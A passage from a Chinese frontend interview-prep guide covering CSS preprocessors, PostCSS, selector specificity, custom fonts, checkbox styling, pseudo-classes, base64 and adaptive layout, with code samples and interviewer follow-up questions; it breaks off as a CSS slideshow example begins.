  • 内容少的时候,页脚总是飘在页面中间,怎么让它贴底?

    外层 min-height: 100vh; display: flex; flex-direction: column,内容区 flex: 1,页脚自然被推到底。移动端用 100dvh 更准,地址栏伸缩不会多出滚动条。

  • 圣杯布局在什么情况下会乱掉?

    中间栏宽度小于左栏时,左栏的 margin-left: -100% 拉不回同一行,布局就会错位,所以通常要给容器加 min-width。双飞翼没有这个问题,这也是它当年被提出来的原因之一。

  • 一个卡片组件在侧栏里要竖排、在主区要横排,用媒体查询为什么不好做?

    媒体查询看的是视口宽度,组件不知道自己被放在多宽的容器里。用容器查询,父元素 container-type: inline-size,组件里写 @container (min-width: 400px) { ... },按容器宽度切换。

  • Grid 的 auto-fill 和 auto-fit 有什么区别?

    卡片少、铺不满一行时才看得出来:auto-fill 保留空轨道,卡片维持原宽度;auto-fit 把空轨道折叠掉,卡片拉伸占满整行。

# 29 stylus/sass/less区别

⚡ 30 秒速记

  • 三个都是 CSS 预处理器:变量、嵌套、混入、函数、模块化,能力大同小异
  • Sass 有两种语法:缩进式的 .sass 和兼容 CSS 的 .scss,现在大家写的基本是 SCSS
  • 写法差异:变量 Sass 用 $、Less 用 @、Stylus 可以不加前缀;继承 Sass 用 @extend、Less 用 :extend()
  • 工具链:Ruby Sass 和 node-sass 都已废弃,现在用 Dart Sass(npm 包 sass);新代码用 @use / @forward,@import 已被标记废弃
  • Less 曾是 antd 4 的主题方案,antd 5 起改成 CSS-in-JS;Stylus 生态最小
  • 现在原生 CSS 已有变量、嵌套、@layer、color-mix(),新项目要不要预处理器值得先问一句

三者核心能力差不多,区别在语法和生态:SCSS 是事实标准,Less 在老的 antd 体系里常见,Stylus 最自由但用的人最少。 写法上 SCSS 和 Less 都长得像普通 CSS,变量一个用 $ 一个用 @;Stylus 可以省掉大括号、分号、冒号,写起来爽但团队里风格容易乱。选型的时候我更看工具链:Sass 现在官方实现是 Dart Sass,node-sass 已经废弃了,新代码要用 @use 代替 @import。另外原生 CSS 这几年补上了变量和嵌套,很多新项目已经只用 PostCSS 或者 Tailwind,不再引预处理器了。

Sass, Less, 和 Stylus 是三种常用的 CSS 预处理器,它们在功能和语法上有一些区别:

  • 语法差异:Sass 有两种语法:缩进式的 .sass 用严格的缩进表示层次与嵌套关系,兼容 CSS 的 .scss 用大括号 {},现在绝大多数项目写的是 .scss。Less 使用类似 CSS 的语法;Stylus 最自由,大括号、分号、冒号都可以省略。
  • 变量:Sass、Less 和 Stylus 都支持变量,用于存储和复用值。Sass 的变量以 $ 开头,Less 的变量以 @ 开头,Stylus 的变量可以不加前缀(如 primary = #1677ff)。
  • 混合:混合(Mixins)允许将一组 CSS 规则集合存储为一个可重用的样式块。Sass 用 @mixin 定义、@include 使用;Less 直接把类当混入调用,如 .rounded();;Stylus 的混入像函数一样定义和调用。
  • 嵌套:Sass、Less 和 Stylus 都支持嵌套规则,可以在父级规则内部定义子级规则。.sass 用缩进表示嵌套关系,.scss 和 Less 用大括号 {},Stylus 两种都行。
  • 继承:继承(Inheritance)允许一个选择器继承另一个选择器的样式。Sass 和 Stylus 使用 @extend 实现继承,Less 使用 &:extend()。
  • 颜色混合:颜色混合(Color blending)允许将两个颜色混合生成一个新的颜色。三者都提供 mix() 函数,Less 另外还有 multiply()、screen() 等混合模式函数。
  • 环境和工具支持:Sass 最早的官方实现基于 Ruby,但 Ruby Sass 2019 年就停止维护了,之后的 LibSass / node-sass 也已废弃,现在只有 Dart Sass 一个官方实现,通过 npm i sass 安装,不需要 Ruby。Less 和 Stylus 同样通过 npm 安装相应的库来编译。

总的来说,Sass、Less 和 Stylus 在功能上大致相似,它们都提供了类似的特性,如变量、混合、嵌套、继承等,但在语法和一些细节上有一些差异。选择哪种预处理器取决于个人偏好、团队需求和项目要求。

三者写法对比:

对比项 Sass / SCSS Less Stylus
语法 .scss 用大括号、兼容 CSS;.sass 用缩进 类 CSS,大括号 大括号、分号、冒号都能省
变量 $primary: #1677ff; @primary: #1677ff; primary = #1677ff
混入 @mixin 定义、@include 使用 直接把类当混入:.rounded(); 像函数一样定义和调用
继承 @extend .btn; &:extend(.btn); @extend .btn
编译 Dart Sass(npm i sass) npm i less npm i stylus

现代 Sass 推荐用 @use 做模块化引入:

// 现代 Sass 写法:模块化引入
@use 'sass:color';
@use './tokens' as t;

.btn {
  color: t.$primary;
  &:hover {
    color: color.adjust(t.$primary, $lightness: -10%);
  }
}

💬 面试官追问

  • 老项目升级 Node 后 npm install 报 node-sass 编译失败,怎么处理?

    node-sass 依赖原生编译,每个 Node 版本都要对上对应版本,而且已经停止维护。直接换成 sass(Dart Sass),大部分语法兼容,主要改 / 除法这类被废弃的写法。

  • Sass 里 @use 和 @import 有什么区别?

    @import 把所有变量、混入都扔到全局,重复引入会重复输出;@use 有命名空间(colors.$primary),同一个模块只加载一次。Dart Sass 已经把 @import 标记为废弃,以后会移除。

  • $ 变量和 CSS 变量 var(--primary) 能互相替代吗?

    不能。$ 变量编译完就没了,是写死的值;CSS 变量活在运行时,能被 JS 改、能随 .dark 类切换。做暗色主题必须用 CSS 变量,Sass 变量适合编译期的常量和计算。

  • @extend 和 @mixin 都能复用样式,选哪个?

    默认用 @mixin。@extend 会把选择器合并到一起,跨文件使用时生成的选择器顺序难以预料,还可能产出很长的选择器组;@mixin 只是复制声明,Gzip 之后体积差别不大。

# 30 postcss的作用

⚡ 30 秒速记

  • 它不是预处理器,是用 JS 改 CSS 的平台:把 CSS 解析成 AST,交给插件处理,再输出
  • 自己什么都不干,能力全看插件:autoprefixer 加前缀、postcss-preset-env 转新语法、cssnano 压缩
  • 和 Sass 不冲突:Sass 先编译成 CSS,PostCSS 再做兼容和优化,常串在一起用
  • 兼容目标由 browserslist 决定(package.json 里的 browserslist 字段或 .browserslistrc)
  • Tailwind CSS v3 本身是 PostCSS 插件,v4 换了自己的引擎,但仍提供 @tailwindcss/postcss 接入;Lightning CSS 是更快的替代方案

PostCSS 是一个处理 CSS 的平台,本身只负责把 CSS 解析成语法树再生成回去,中间干什么全靠插件。 打个比方,它像 Babel 之于 JS。最常用的就是 autoprefixer,按 browserslist 配置的目标浏览器自动补前缀,你写 display: flex 不用再手写 -webkit-。它和 Sass 不是二选一,Sass 负责写的时候方便,PostCSS 负责输出前的兼容和压缩,Vite 和 Webpack 的 CSS 流水线里通常两个都有。Vite 甚至内置了 PostCSS,项目根目录放个 postcss.config.js 就会自动生效。

  • 可以直观的理解为:它就是一个平台。为什么说它是一个平台呢?因为我们直接用它,感觉不能干什么事情,但是如果让一些插件在它上面跑,那么将会很强大
  • PostCSS 提供了一个解析器,它能够将 CSS 解析成抽象语法树
  • 通过在 PostCSS 这个平台上,我们能够开发一些插件,来处理我们的CSS,比如热门的:autoprefixer
  • postcss可以对sass处理过后的css再处理 最常见的就是autoprefixer

PostCSS 是一个用于转换 CSS 的工具,它提供了一个插件化的架构,可以通过加载各种插件来处理 CSS。主要作用包括:

  1. 转换 CSS:PostCSS 可以将 CSS 解析成抽象语法树(AST),并允许开发者编写插件来修改和转换 CSS。这使得开发者可以自定义和扩展 CSS 的功能,从而提供更灵活的编写样式的能力。
  2. 自动添加浏览器前缀:PostCSS 的插件生态系统中最常用的插件之一是 autoprefixer。它可以根据配置和浏览器兼容性自动为样式属性添加浏览器前缀,以确保在不同浏览器中正确显示样式。
  3. 代码优化和压缩:PostCSS 的插件可以用于优化和压缩 CSS 代码,删除不必要的空格、注释、重复规则等,以减小文件大小并提高加载速度。
  4. 使用未来的 CSS 语法:PostCSS 可以支持使用未来的 CSS 语法和功能,例如使用 CSS Variables、CSS Modules、CSS Grid 等。通过一些插件,可以在现有浏览器中使用这些新特性,而无需等待浏览器的更新。

总之,PostCSS 提供了一个灵活的平台和插件生态系统,可以对 CSS 进行各种转换和优化,使开发者能够更好地编写和管理样式代码,并兼容不同的浏览器和未来的 CSS 标准。

💬 面试官追问

  • 加了 autoprefixer,但打包后还是没有 -webkit- 前缀,先查哪?

    先查 browserslist。目标浏览器都已经原生支持这个属性的话,autoprefixer 就不会加,这是对的。运行 npx browserslist 看看实际命中了哪些浏览器。

  • postcss-preset-env 能把 CSS 嵌套语法编译成老浏览器能用的吗?

    能,它会按 browserslist 判断哪些新特性需要转换,嵌套、:is()、自定义媒体查询等都能处理。但像容器查询这种没法用老语法模拟的特性,它也无能为力。

  • 项目同时用了 Sass 和 PostCSS,执行顺序是怎样的?

    Webpack 里 loader 从右往左执行:sass-loader 先把 SCSS 编成 CSS,再交给 postcss-loader,最后 css-loader。所以配置是 ['style-loader', 'css-loader', 'postcss-loader', 'sass-loader']。

  • 新项目还有必要搭 PostCSS 插件链吗?

    如果只是加前缀、转语法、压缩,Lightning CSS 一个工具全包了,而且是 Rust 写的,快很多,Vite 可以通过 css.transformer: 'lightningcss' 开启。依赖某些特定 PostCSS 插件的话,还是得留着 PostCSS。

# 31 css样式(选择器)的优先级

⚡ 30 秒速记

  • 总顺序:!important 和来源 → @layer → 行内 style → 选择器特指度 → 书写顺序
  • 特指度 (ID, 类/属性/伪类, 元素/伪元素) 逐位比较,高位赢了就结束(交互式计算器见第 12 题)
  • 继承来的值优先级最低:只要有任何规则直接选中这个元素,哪怕是 *,都能覆盖继承值
  • 权重相同,后写的赢;在同一个元素上写两次同一属性,后面那条赢
  • 工程上别靠堆权重:用 BEM 这种单层类名把权重压平,用 @layer 管理第三方样式

一条样式最后用不用,先看 !important 和层,再看是不是行内样式,然后比选择器特指度,都一样就看谁写在后面。 这里有个面试常考的点是继承:父元素 #app { color: red } 权重再高,子元素只要被 * { color: black } 直接选中,就是黑色,因为继承来的值根本不参与权重比较。日常开发我更关心的是怎么避免权重战争,组件样式统一单层类名,第三方库放进低优先级的 @layer,!important 只留给工具类,这样就很少需要算权重了。

CSS 样式的优先级可以根据以下规则进行计算:

  1. 内联样式(Inline Styles)具有最高的优先级。通过在 HTML 元素的 style 属性中直接定义的样式将覆盖其他样式规则。
  2. 权重(Specificity)是确定样式优先级的重要因素。每个选择器都有一个权重,权重由选择器的组成部分决定,通常根据选择器的类型、类、ID 和内联样式等进行计算。选择器的权重值越高,其样式优先级越高。
  3. 重要性(Importance)可以通过 !important 关键字来设置。使用 !important 的样式具有最高的优先级,将覆盖任何其他样式规则。然而,滥用 !important 可能导致样式管理的困难,应该慎用。
  4. 层叠顺序(Cascade Order)也会影响样式的优先级。当存在多个具有相同权重和重要性的样式规则时,后写的样式规则将覆盖先写的样式规则。

综上所述,通过计算选择器的权重、考虑重要性以及根据样式规则的层叠顺序,可以确定 CSS 样式的优先级,并最终确定应用在元素上的样式。

小结

  • 计算权重确定
  • !important
  • 内联样式
  • 后写的优先级高

💬 面试官追问

  • 父元素 #box { color: red },子元素 p { color: blue },子元素是什么颜色?

    蓝色。#box 只是直接选中了父元素,子元素的红色是继承来的;p 直接选中了子元素,直接命中的规则永远赢继承值,不管父元素权重多高。

  • 想覆盖 antd 的某个样式,写了半天权重都压不住,最后加了 !important,有更好的办法吗?

    先看它的选择器结构,写一个同等或高一点权重的选择器就行,比如加一层自己的类名。antd 5 的样式默认用 :where() 包裹,权重本来就低,很多时候是你的样式加载顺序在它前面,可以通过 StyleProvider 的 layer 让它进 @layer。

  • 行内 style 和 !important,哪个更高?

    外部样式表里的 !important 能压过普通行内样式。只有行内也写了 !important 才能再压回来,所以 JS 里用 el.style.setProperty('color', 'red', 'important') 是最强的手段。

  • 同一个元素上 class="a b" 和 class="b a",样式会不一样吗?

    不会。class 属性里的顺序没有意义,起作用的是样式表里 .a 和 .b 谁写在后面。

# 32 自定义字体的使用场景

⚡ 30 秒速记

  • 场景:品牌字体、活动页艺术标题、数字展示(价格、倒计时用等宽数字字体)、图标字体
  • 写法:@font-face 定义,src 优先 woff2;现在 woff2 兼容性足够,ttf / eot 可以不放了
  • font-display: swap:先用系统字体显示,字体到了再换,避免文字长时间空白
  • 中文字体最大的坑是体积,整套动辄几 MB,要做子集化,只保留用到的字,或用 unicode-range 分片
  • 优化:关键字体 <link rel="preload" as="font" type="font/woff2" crossorigin>;size-adjust 让兜底字体尺寸接近,减少替换时的跳动
  • 图标字体基本被 SVG 取代:多色、对齐、加载失败显示方块都是图标字体的硬伤

自定义字体主要用在品牌识别和展示类文字上,比如标题、活动页、数字展示,正文一般还是用系统字体。 原因就是成本:英文字体几十 KB,中文字体动辄好几 MB,正文全换掉首屏就废了。所以中文场景我的做法是子集化,活动页标题就那几十个字,用 fontmin 这类工具抽出来只有十几 KB。加载时配 font-display: swap,先用系统字体把文字显示出来,字体下载完再替换,不会出现文字空白。图标字体以前很流行,现在我更倾向 SVG,多色、对齐、无障碍都好处理。

自定义字体可以在以下场景中使用:

  1. 宣传和品牌:使用自定义字体可以增加品牌的独特性和识别度。品牌标语、宣传资料、广告等场合可以使用自定义字体来传达品牌的风格和形象。
  2. Banner 设计:在网站或移动应用的横幅广告(Banner)设计中,自定义字体可以使文字内容更加吸引人,与整体设计风格相匹配,并帮助吸引用户的注意力。
  3. 固定文案:如果有一些特定的文案需要在网站或应用中固定展示,如标题、标语、特殊提示等,使用自定义字体可以使这些文案与其他普通文本区分开来,突出其重要性或特殊性。
  4. 字体图标:自定义字体可以用于创建字体图标集合,如使用字体图标库(如Font Awesome)来代替传统的图标文件。这样可以提供灵活性和可扩展性,通过CSS样式来控制图标的颜色、大小和样式,而无需使用单独的图像文件。

总之,自定义字体在需要强调品牌形象、设计吸引人的文案或创建字体图标集合等场景中非常有用。它们为设计师和开发人员提供了更多的创意和自定义选项,以满足特定的设计需求。

💬 面试官追问

  • 标题用了自定义字体,弱网下标题区域空白好几秒才出来,怎么改?

    这是浏览器在等字体,默认最多隐藏文字约 3s。加 font-display: swap,先用兜底字体显示;关键字体再加 preload 提前下载。

  • 字体放在 CDN 域名下,控制台报跨域错误,字体不生效,为什么图片没事?

    字体请求按规范走 CORS,跨域必须返回 Access-Control-Allow-Origin,图片没有这个限制。另外 preload 字体时一定要写 crossorigin,同域也要写,不然会下载两次。

  • 字体替换的瞬间整段文字宽度变了,下面的内容跳了一下,怎么减少?

    给兜底字体写一个 @font-face,用 size-adjust、ascent-override 把它的尺寸调到接近目标字体,替换时几乎不跳。Next.js 的 next/font 就是自动生成这种兜底字体。

  • 运营后台标题可以随便改字,子集化怎么办?

    静态子集化行不通了。要么服务端按需动态生成子集,要么用 unicode-range 把字库切成几十个分片,浏览器只下载页面上实际出现的字所在的分片,Google Fonts 的中文就是这么做的。

  • 图标字体有时显示成方块,是什么原因?

    字体没加载成功或者还在加载,对应的码位落到了兜底字体上,兜底字体里没这个字形就显示方块。这也是我倾向用 SVG 图标的原因之一,加载失败不会显示成乱码。

# 33 如何美化CheckBox

⚡ 30 秒速记

  • 思路:原生 <input type="checkbox"> 保留交互和无障碍,只换外观
  • 最简单:accent-color: #1677ff 一行改主题色,所有现代浏览器都支持
  • 完全自定义:appearance: none 去掉默认外观,直接在 input 上画边框,用 :checked 切选中态,勾用 background-image 或 clip-path
  • 老做法:input 视觉隐藏 + label 用 ::before 画框,靠 :checked + label 切换
  • 别用 display: none 藏 input:Tab 聚焦不到、读屏器读不出来;要加 :focus-visible 焦点样式

美化 checkbox 的原则是留着原生 input,只改外观,这样键盘、读屏器、表单提交都不用自己处理。 只想改颜色的话 accent-color 一行就够。要完全自定义,我现在直接 appearance: none 把默认外观去掉,input 本身就能当一个普通盒子画边框和背景,用 :checked 切选中态,不需要额外的 label 和伪元素技巧。网上很多教程是先 display: none 藏掉 input,再用 label 画,这种写法 Tab 键根本聚焦不到它,读屏器也读不出状态,代码评审我会直接打回。

  • 保留原生 <input type="checkbox">,只换外观
  • appearance: none 去掉默认外观,:checked 切换选中态
  • 加 :focus-visible 焦点样式,别用 display: none 藏 input

要美化复选框(CheckBox),可以按照以下思路进行操作:

  1. 保留原生的 <input> 元素:不要用 display: none 把它藏起来,否则键盘无法聚焦,读屏器也读不到选中状态。用外层 <label> 包住 <input>,不需要 for / id 也能点文字切换。
  2. 用 appearance: none 去掉浏览器默认外观:交互、焦点、表单值都还在,input 本身就能当普通盒子画边框和背景。
  3. 用 :checked 切换选中态,用 ::before 画勾,再补上 :focus-visible 和 :disabled 状态。
<label class="cb">
  <input type="checkbox" />
  <span>记住我</span>
</label>
.cb {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  cursor: pointer;
}

.cb input {
  appearance: none; /* 去掉浏览器默认外观,但交互、焦点、表单值都还在 */
  width: 16px;
  height: 16px;
  margin: 0;
  border: 1px solid #999;
  border-radius: 4px;
  display: grid;
  place-content: center;
}

.cb input::before {
  content: '';
  width: 10px;
  height: 10px;
  transform: scale(0);
  transition: transform 0.12s;
  background: #fff;
  /* 用 clip-path 画一个勾 */
  clip-path: polygon(14% 44%, 0 65%, 50% 100%, 100% 16%, 80% 0%, 43% 62%);
}

.cb input:checked {
  background: #1677ff;
  border-color: #1677ff;
}

.cb input:checked::before {
  transform: scale(1);
}

.cb input:focus-visible {
  outline: 2px solid #1677ff;
  outline-offset: 2px;
}

.cb input:disabled {
  opacity: 0.5;
  cursor: not-allowed;
}

这里 input 加了 appearance: none 之后,浏览器把它当普通盒子渲染,所以 ::before 能生效(默认外观下的 checkbox 在多数浏览器里不支持伪元素)。:checked 选择器匹配选中状态,暗色主题下把边框和背景颜色换成 CSS 变量即可。如果只想改主题色,accent-color: #1677ff 一行就够。

💬 面试官追问

  • 用 display: none 隐藏了原生 checkbox,点 label 能切换,还有什么问题?

    display: none 的元素不在焦点序列和无障碍树里,键盘用户 Tab 跳过它、按空格没反应,读屏器也不知道这里有个复选框。要么用 appearance: none,要么用 opacity: 0 加绝对定位做视觉隐藏。

  • 只要把勾的颜色改成品牌色,最省事的办法?

    input[type="checkbox"] { accent-color: var(--brand); }。浏览器会自己处理对比度,勾的颜色会按背景自动选黑或白。

  • 自定义复选框还要支持「半选」状态,怎么做?

    indeterminate 只能用 JS 设置,el.indeterminate = true,没有对应的 HTML 属性。样式上用 :indeterminate 伪类画一条横线,提交表单时它的值仍按 checked 算。

  • 自定义样式后,键盘 Tab 过去完全看不出焦点在哪,怎么补?

    加 input:focus-visible { outline: 2px solid var(--brand); outline-offset: 2px; }。用 :focus-visible 而不是 :focus,鼠标点击时不会出现焦点框,键盘操作时才出现。

# 34 伪类和伪元素的区别

⚡ 30 秒速记

  • 伪类选的是「处于某种状态的元素」,元素本身存在::hover、:checked、:nth-child()、:not()、:has()
  • 伪元素选的是「元素的某一部分」或生成一个虚拟盒子:::before、::after、::first-line、::placeholder、::selection、::marker
  • 写法:伪类单冒号,伪元素双冒号;一个选择器里伪元素只能有一个,而且要放在最后
  • 伪元素不在 DOM 里:querySelector 选不到,点击事件落在宿主元素上
  • 读伪元素的样式要用 getComputedStyle(el, '::before')

伪类是给已有元素加了一个状态条件,伪元素是选中元素的一部分或者凭空造出一个盒子。 可以这样记:a:hover 选的还是那个 a,只是在悬停的时候才命中;p::first-line 选中的是段落的第一行,这一行在 DOM 里不是一个独立节点。所以伪类可以叠很多个,比如 li:not(.active):hover;伪元素一个选择器只能有一个,而且必须放最后。现在伪类越来越强,:has() 能根据子元素选父元素,以前要 JS 才能做的父级联动,现在一行 CSS 就够了。

  • 伪类表状态
  • 伪元素是真的有元素
  • 前者单冒号,后者双冒号

以下是对伪类和伪元素的更详细解释:

  • 伪类(Pseudo-classes)是用于选择元素的特定状态或条件的关键词。它们以单冒号(:)作为前缀,并应用于选择器的末尾。伪类选择器可以选择处于特定状态的元素,例如鼠标悬停、被点击、被选中等。常见的伪类包括 :hover、:active、:visited、:nth-child 等。
  • 伪元素(Pseudo-elements)则是用于在文档中创建虚拟的元素,这些元素可以在选中的元素中添加额外的样式和内容。伪元素以双冒号(::)作为前缀,并应用于选择器的末尾。伪元素可以在选中的元素中插入新的内容或样式,如在元素前、后插入内容或改变选中元素的某个部分的样式。常见的伪元素包括 ::before、::after、::first-line、::first-letter 等。

总结来说,伪类用于选择特定状态的元素,而伪元素则用于在选中的元素中创建虚拟的元素。伪类以单冒号(:)作为前缀,伪元素以双冒号(::)作为前缀。在实际使用中,由于历史原因,有些伪元素也可以使用单冒号(:)来表示,但为了遵循最新的规范,推荐使用双冒号(::)表示伪元素。

💬 面试官追问

  • input::placeholder:hover 这种写法有效吗?

    无效,整条规则会被丢弃。伪元素后面只允许跟少数用户操作类伪类,::placeholder 后面跟 :hover 不在支持范围里,悬停改占位符颜色要写成 input:hover::placeholder。

  • 点击 ::after 画的关闭图标,事件的 target 是谁?

    是宿主元素。伪元素不在 DOM 里,事件都算在宿主身上,没法单独区分点的是伪元素还是元素本身,有独立交互的图标最好用真实元素。

  • 想在表单里有输入框报错时,给外层卡片加红色边框,不写 JS 能做吗?

    能,用 :has():.card:has(input:user-invalid) { border-color: red; }。:has() 现在主流浏览器都支持了,老浏览器要留降级。

  • :is() 和 :where() 都是伪类,区别在哪?

    匹配结果一样,区别在权重::is() 取括号里最高的特指度,:where() 永远是 0。写基础样式、组件库默认样式用 :where(),方便别人覆盖。

# 35 base64的使用

⚡ 30 秒速记

  • 常见用途:小图标内联进 CSS / HTML、canvas.toDataURL() 导出图片、接口里用文本传二进制、JWT 的 Base64URL
  • 体积是源文件的 4/3,多约 33%,所以只给几 KB 以内的小资源用(Vite 默认 4KB,Webpack 5 的 asset 默认 8KB)
  • btoa / atob 只认 Latin-1,中文直接 btoa 会抛错,要先用 TextEncoder 转字节
  • 本地图片预览优先 URL.createObjectURL(file),比 FileReader.readAsDataURL 省内存、不用等编码
  • 是编码不是加密,谁拿到都能解

base64 的使用原则是:只在需要把二进制当文本处理、或者资源小到不值得单独发请求时用。 前端最常见的是构建工具自动把小图标转成 Data URL 内联,Vite 默认小于 4KB 的资源会这么处理。它的代价是体积多三分之一,还没法单独缓存,所以大图一定要走独立文件。还有两个实操上的坑:一是 btoa 处理中文会直接报错,要先转成 UTF-8 字节;二是本地图片预览很多人用 readAsDataURL,几 MB 的图要转成一个更大的字符串,用 URL.createObjectURL 更省事。

  • 用于减少 HTTP 请求
  • 适用于小图片
  • base64的体积约为原图的 4/3

base64 是一种将二进制数据编码为 ASCII 字符串的方法,它常被用于将小文件(如图片、字体文件等)嵌入到 HTML、CSS 或 JavaScript 中,从而减少对服务器的请求次数。

使用 base64 编码可以将二进制文件转换为文本字符串,这样可以直接将字符串嵌入到代码中,而无需单独请求文件。这样做的好处是可以减少 HTTP 请求的数量,提升页面加载速度,尤其适用于小图片或者一些图标字体等。

然而,使用 base64 编码也有一些注意事项。由于 base64 编码后的文本字符串比原始二进制数据体积大约增加了 1/3(每 3 个字节被编码成 4 个字符,所以是源文件的 4/3),因此对于大文件来说,使用 base64 会导致数据传输量增加,可能会影响网页的加载速度。此外,由于嵌入了文件内容,导致代码体积增大,也会对可维护性产生一定的影响。

因此,通常建议将 base64 使用在小文件上,如小图标、小图片等,而对于大文件,仍然应该以原始文件的形式进行请求和传输,以获得更好的性能和可维护性。

浏览器里几种常用写法:

// 1. 纯 ASCII 字符串
btoa('hello'); // 'aGVsbG8='
atob('aGVsbG8='); // 'hello'

// 2. 中文等 Unicode 字符串:先转 UTF-8 字节
function encodeUtf8Base64(str) {
  const bytes = new TextEncoder().encode(str);
  let bin = '';
  bytes.forEach((b) => (bin += String.fromCharCode(b)));
  return btoa(bin);
}
function decodeUtf8Base64(b64) {
  const bin = atob(b64);
  const bytes = Uint8Array.from(bin, (c) => c.charCodeAt(0));
  return new TextDecoder().decode(bytes);
}
encodeUtf8Base64('你好'); // '5L2g5aW9'
decodeUtf8Base64('5L2g5aW9'); // '你好'

// 3. 文件转 Data URL(需要拿到字符串上传或存储时)
const reader = new FileReader();
reader.onload = () => console.log(reader.result); // 'data:image/png;base64,iVBORw0...'
reader.readAsDataURL(file);

// 4. 只是本地预览:用 Object URL,不经过 base64
const url = URL.createObjectURL(file);
img.src = url;
img.onload = () => URL.revokeObjectURL(url);

Node.js 里用 Buffer 更直接:Buffer.from('你好').toString('base64') 得到 '5L2g5aW9',Buffer.from(b64, 'base64').toString() 解回来。

什么时候用、什么时候不用,可以按这个判断:资源小于 4KB 左右、首屏必用、几乎不变的图标,可以内联;超过这个量级、会单独更新、或者多个页面共用的资源,走独立文件和缓存更划算。

💬 面试官追问

  • btoa('你好') 报错 InvalidCharacterError,怎么编码中文?

    btoa 只接受每个字符都在 0~255 之间的字符串。先用 new TextEncoder().encode(str) 拿到 UTF-8 字节,再把每个字节转成字符拼起来交给 btoa,解码时反过来用 TextDecoder。

  • 上传前要预览一张 8MB 的照片,用 readAsDataURL 页面卡了一下,怎么改?

    换成 img.src = URL.createObjectURL(file),它只是生成一个指向内存中文件的短链接,不需要编码成 10MB 多的字符串。用完记得 URL.revokeObjectURL 释放。

  • Webpack 5 里怎么控制哪些图片转成 base64?

    资源模块用 type: 'asset',通过 parser.dataUrlCondition.maxSize 设阈值,默认 8KB,小于它内联、大于它输出文件。Vite 对应的是 build.assetsInlineLimit,默认 4096 字节。

  • base64 字符串放进 URL 参数里,后端解出来是乱码,为什么?

    标准 base64 里的 + 在查询参数里会被当成空格,/ 和 = 也有特殊含义。要么 encodeURIComponent 一下,要么用 Base64URL,把 + / 换成 - _ 并去掉补位 =。

# 36 自适应布局

⚡ 30 秒速记

  • 先分清三个词:自适应 = 按断点切几套布局,响应式 = 连续流动适配,流式 = 百分比宽度
  • 经典题型是「左定宽右自适应」:float + margin-left / 负 margin / flex: 1,现在直接 flex 或 grid
  • 整页适配:媒体查询切断点 + 相对单位(%、rem、vw)+ clamp() 做流体字号
  • 卡片网格一行搞定:grid-template-columns: repeat(auto-fill, minmax(200px, 1fr))
  • 组件级适配用容器查询 @container,按父容器宽度变,不看视口,复用性好得多

自适应布局说白了就是让页面根据可用宽度自己调整,不用为每种屏幕写死尺寸。 面试里这题通常指左边固定、右边吃满剩余空间。老写法是左边 float 加右边 margin-left,要手算间距;现在我直接父元素 display: flex,左边 flex: 0 0 200px,右边 flex: 1; min-width: 0。整页层面再配媒体查询和 rem / vw,组件内部能用 @container 就用,它看的是组件自己有多宽,放侧栏和放主区都能对。

思路:

  • 左侧浮动或者绝对定位,然后右侧margin撑开
  • 使用<div>包含,然后靠负margin形成bfc
  • 使用flex

自适应布局是指能够根据不同设备或窗口尺寸自动调整布局的一种设计方式。下面是几种常见的自适应布局方法:

  1. 使用浮动或绝对定位:左侧元素使用浮动或绝对定位,右侧元素通过设置左侧元素的margin来撑开布局。这种方法需要手动计算和设置宽度和间距,适用于简单的布局需求。
.left {
  float: left;
  width: 200px;
}

.right {
  margin-left: 220px;
}
  1. 使用包含元素和负边距:将左右两个元素放在一个容器内,设置容器的overflow属性为hidden,然后通过负边距将左侧元素向左移动,右侧元素则会自动占据剩余空间。这种方法需要使用负边距,适用于复杂布局需求。
.container {
  overflow: hidden;
}

.left {
  float: left;
  width: 200px;
  margin-left: -100%;
}

.right {
  float: left;
}

  1. 使用 Flexbox 布局:使用 Flexbox 弹性布局可以轻松实现自适应布局。通过设置容器的display属性为flex,并使用flex-grow属性来控制元素的伸缩性,可以自动调整元素的宽度和布局。
.container {
  display: flex;
}

.left {
  flex-grow: 0;
  flex-shrink: 0;
  width: 200px;
}

.right {
  flex-grow: 1;
}

以上是一些常见的自适应布局方法,根据具体的需求和场景,可以选择合适的方法来实现自适应布局。

💬 面试官追问

  • 自适应和响应式到底有什么区别,你项目里用的是哪种?

    自适应是几个断点切几套固定布局,中间不连续;响应式是在断点之间也会流动变化。实际项目基本是混着来:断点切结构,断点内部靠 flex、%、clamp() 流动。

  • 同一个商品卡片组件,放主区要横排、放侧栏要竖排,媒体查询为什么搞不定?

    媒体查询只认视口宽度,侧栏再窄视口也是 1440px。给卡片外层加 container-type: inline-size,里面写 @container (max-width: 400px) { ... },组件按自己容器宽度切换。

  • repeat(auto-fill, minmax(200px, 1fr)) 换成 auto-fit 有什么区别?

    只有一两张卡片时才看得出来:auto-fill 会保留空轨道,卡片维持 200px 左右;auto-fit 把空轨道折叠掉,剩下的卡片被拉满整行。列表可能很少时一般用 auto-fill,不然一张卡片铺满一行很难看。

  • 标题字号想在手机 20px、桌面 32px 之间平滑变化,怎么写?

    font-size: clamp(20px, 4vw + 8px, 32px),中间那个值随视口变,两头被夹住。别只写 vw,用户缩放页面时纯 vw 字号不跟着变,对可访问性不友好,加个 rem 或 px 项就好。

  • 移动端 rem 方案(动态改 html 字号)现在还推荐吗?

    老项目可以继续用,新项目我更倾向直接 vw 配 postcss-px-to-viewport,不用再跑一段 JS 改根字号。要注意 vw 在大屏上会无限放大,记得用 max-width 或 clamp() 兜住。

# 37 请用CSS写一个简单的幻灯片效果页面

⚡ 30 秒速记

  • 最简版:容器 overflow: hidden + @keyframes 按百分比切 background-image,animation: ... infinite
  • 更顺滑的做法:一条轨道放 N 张图,动画改 transform: translateX(-100%)、-200%…,走合成层不卡
  • 淡入淡出型:图片叠放,每张同一个 opacity 动画,用 animation-delay 错开
  • 要手势滑动就别靠动画:scroll-snap-type: x mandatory + scroll-snap-align: start
  • 别忘了 prefers-reduced-motion 关掉自动播放;老写法里的 -webkit- 前缀和带引号的动画名已经不需要了

纯 CSS 幻灯片的核心就是 @keyframes 定义几个时间点,animation 无限循环播放。 最简单的是在关键帧里切背景图,但背景图切换没有过渡,而且图要等到那一帧才去加载,会闪。我更常写的是一条横向轨道,宽度是单张的 N 倍,关键帧里改 translateX,每张停一段再滑走,只动 transform,性能也好。如果需求里有左右按钮、分页点、手势,这时就别硬撑纯 CSS 了,scroll-snap 配一点 JS 更靠谱。

知道是要用CSS3。使用animation动画实现一个简单的幻灯片效果

下面是一个纯 CSS 版本:轨道平移、无缝循环、尊重系统的「减少动效」设置。现代浏览器里 animation / @keyframes 不需要再加 -webkit- 前缀,动画名也不要加引号。

<div class="slider">
